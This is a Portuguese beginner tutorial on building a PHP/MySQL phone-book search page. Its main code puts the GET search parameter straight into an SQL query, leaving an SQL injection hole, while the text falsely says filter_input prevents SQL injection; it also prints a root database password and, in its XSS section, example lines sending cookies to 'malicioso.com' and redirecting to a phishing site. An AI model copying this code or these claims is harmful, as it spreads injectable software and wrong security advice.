0% acharam este documento útil (0 voto)
12 visualizações

Recuperando Dados Do Banco Com PHP, MySQL e HTML

Enviado por

Andrecrazy1plays
Direitos autorais
© © All Rights Reserved
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (0 voto)
12 visualizações

Recuperando Dados Do Banco Com PHP, MySQL e HTML

Enviado por

Andrecrazy1plays
Direitos autorais
© © All Rights Reserved
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
Você está na página 1/ 8

Recuperando Dados do Banco com PHP, MySQL e HTML

Introdução
Como criar uma aplicação PHP para recuperar dados de um banco de dados
MySQL e exibi-los em uma página web. O projeto será desenvolvido utilizando
XAMPP como servidor local, e as linguagens usadas são PHP, HTML e
MySQL.
Você aprenderá a:
• Conectar-se a um banco de dados MySQL.
• Recuperar e exibir dados.
• Criar uma interface HTML básica.
• Realizar pesquisas no banco de dados.

Pré-requisitos
1. XAMPP instalado e funcionando.
2. Usuário do MySQL: root e senha: bd142536SQL$.
3. Banco de dados: agenda_telefonica contendo a tabela contato.

1. Estrutura do Projeto
O projeto será organizado na pasta C:\xampp\htdocs\agenda_telefonica.
• Crie o arquivo principal: index.php.
• Adicione um arquivo de estilo: estilo.css (opcional, para visual
aprimorado).

2. Criação do Banco de Dados e Tabela


Abra o MySql e execute o seguinte SQL para criar o banco e a tabela:

CREATE DATABASE agenda_telefonica;

USE agenda_telefonica;
CREATE TABLE contato (
id INT AUTO_INCREMENT PRIMARY KEY,
nome VARCHAR(50) NOT NULL,
telefone VARCHAR(15)
);

3. Preparando o Arquivo HTML e PHP (index.php)


Código HTML + PHP

<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Agenda Telefônica</title>
<link rel="stylesheet" href="estilo.css">
</head>
<body>
<div id="conteudo">
<h1>Agenda Telefônica</h1>

<?php
// Conectando ao banco de dados
$hostname = "localhost";
$usuario = "root";
$senha = "bd142536SQL$";
$base_de_dados = "agenda_telefonica";

// Conexão com o banco


$conexao = mysqli_connect($hostname, $usuario, $senha,
$base_de_dados);
if (!$conexao) {
die("Erro na conexão: " . mysqli_connect_error());
}

// Verificando se há um parâmetro de busca enviado via GET


$parametro = filter_input(INPUT_GET, 'parametro',
FILTER_SANITIZE_STRING);

// SQL para buscar os contatos


if ($parametro) {
$sql = "SELECT * FROM contato WHERE nome LIKE '%$parametro%'
ORDER BY nome";
} else {
$sql = "SELECT * FROM contato ORDER BY nome";
}

// Executando a consulta
$dados = mysqli_query($conexao, $sql);

if (mysqli_num_rows($dados) > 0) {
// Exibindo os resultados na tabela
echo "<table border='1'>";
echo "<tr><th>ID</th><th>Nome</th><th>Telefone</th></tr>";

while ($linha = mysqli_fetch_assoc($dados)) {


echo "<tr>";
echo "<td>" . $linha['id'] . "</td>";
echo "<td>" . $linha['nome'] . "</td>";
echo "<td>" . $linha['telefone'] . "</td>";
echo "</tr>";
}

echo "</table>";
} else {
echo "<p>Nenhum contato encontrado.</p>";
}

// Liberando a memória e fechando a conexão


mysqli_free_result($dados);
mysqli_close($conexao);
?>
</div>
</body>
</html>

Explicação do Código
1. Estrutura HTML
A estrutura básica da página HTML inclui:
• Cabeçalho (<head>): Define título e inclui o arquivo CSS.
• Corpo (<body>): Contém a div que exibirá os contatos.

2. Conexão com o Banco de Dados

$conexao = mysqli_connect($hostname, $usuario, $senha, $base_de_dados);


• mysqli_connect: Conecta ao banco usando localhost, usuário root e a
senha configurada.

3. Recebendo Parâmetros com filter_input


$parametro = filter_input(INPUT_GET, 'parametro', FILTER_DEFAULT);
$parametro = htmlspecialchars($parametro, ENT_QUOTES, 'UTF-8');
O que são as Funções - filter_input, htmlspecialchars(): e strip_tags():
Limpa caracteres indesejados ou potencialmente perigosos de uma string,
como códigos HTML ou JavaScript. O objetivo principal é evitar falhas de
segurança, como ataques XSS (Cross-site Scripting), onde um atacante pode
injetar scripts maliciosos em entradas de dados.
• filter_input: Essa função é usada para buscar e filtrar dados de
entrada enviados por meio de formulários ou URL, como os métodos
GET, POST, COOKIE e outros. Verifica se há um parâmetro enviado via
GET e limpa para evitar SQL Injection.

• htmlspecialchars(): Escapa caracteres especiais para HTML.


Essa função converte caracteres especiais em entidades HTML. É muito
útil para evitar que scripts injetados na página sejam executados (ataque
XSS).
• strip_tags(): Remove todas as tags HTML e PHP
Remove todas as tags HTML e PHP de uma string, deixando apenas
texto simples.

Exemplo de Entrada de um ataque


Se você acessar a página com o seguinte link:
http://localhost/agenda_telefonica/index.php?parametro=<script>alert('XSS');</s
cript>
Sem o tratamento: A string <script>alert('XSS');</script> seria processada como
HTML/JavaScript e poderia ser executada no navegador, causando um ataque
XSS.
Com o tratamento: O PHP transformaria a entrada para uma string segura,
removendo tags ou caracteres suspeitos, ficando assim:
scss
alert('XSS');

Efeitos do ataque?
• Neste exemplo: O alerta é apenas ilustrativo, mas isso prova que o
atacante pode injetar qualquer código JavaScript.
• Impacto real de um XSS:
1. Roubo de cookies:
javascript
document.location = 'http://malicioso.com?cookie=' + document.cookie;
Esse script poderia enviar os cookies da vítima para um site controlado pelo
atacante.
2. Redirecionamento para sites maliciosos:
javascript
window.location.href = 'http://phishing-site.com';
A vítima poderia ser redirecionada para um site que tenta roubar suas
credenciais.
3. Alteração do conteúdo da página: Um script poderia manipular
o DOM para exibir informações falsas.

4. Consulta SQL com Parâmetro

$sql = "SELECT * FROM contato WHERE nome LIKE '%$parametro%' ORDER


BY nome";
• Se um parâmetro foi enviado, busca contatos que contenham esse
nome.
• ORDER BY nome: Ordena os resultados por nome.

5. Exibição dos Dados

while ($linha = mysqli_fetch_assoc($dados)) {


echo "<tr>";
echo "<td>" . $linha['id'] . "</td>";
echo "<td>" . $linha['nome'] . "</td>";
echo "<td>" . $linha['telefone'] . "</td>";
echo "</tr>";
}
• mysqli_fetch_assoc: Recupera cada linha do resultado como um array
associativo.
6. Liberando Memória e Fechando Conexão

mysqli_free_result($dados);
mysqli_close($conexao);
• mysqli_free_result: Libera a memória usada pela consulta.
• mysqli_close: Encerra a conexão com o banco.

4. Testando a Aplicação
1. Inicie o XAMPP e ative o Apache e MySQL.
2. Abra o navegador e acesse: http://localhost/agendaTel/index.php
3. Adicione contatos no banco executando este comando SQL:

INSERT INTO contato (nome, telefone) VALUES ('Fulano de Tal', '92345678');


4. Atualize a página e veja o novo contato na tabela.

5. Estilo Opcional (estilo.css)

body {
font-family: Arial, sans-serif;
background-color: #f0f0f0;
margin: 0;
padding: 20px;
}

#conteudo {
width: 80%;
margin: auto;
background-color: white;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}

table {
width: 100%;
border-collapse: collapse;
}

th, td {
padding: 10px;
text-align: left;
}

6. Conclusão
Com este projeto, você aprendeu a conectar-se a um banco de dados MySQL,
recuperar dados e exibi-los em uma tabela HTML. Agora você pode expandir
este projeto para incluir outras funcionalidades, como inserção, edição e
exclusão de contatos.

Você também pode gostar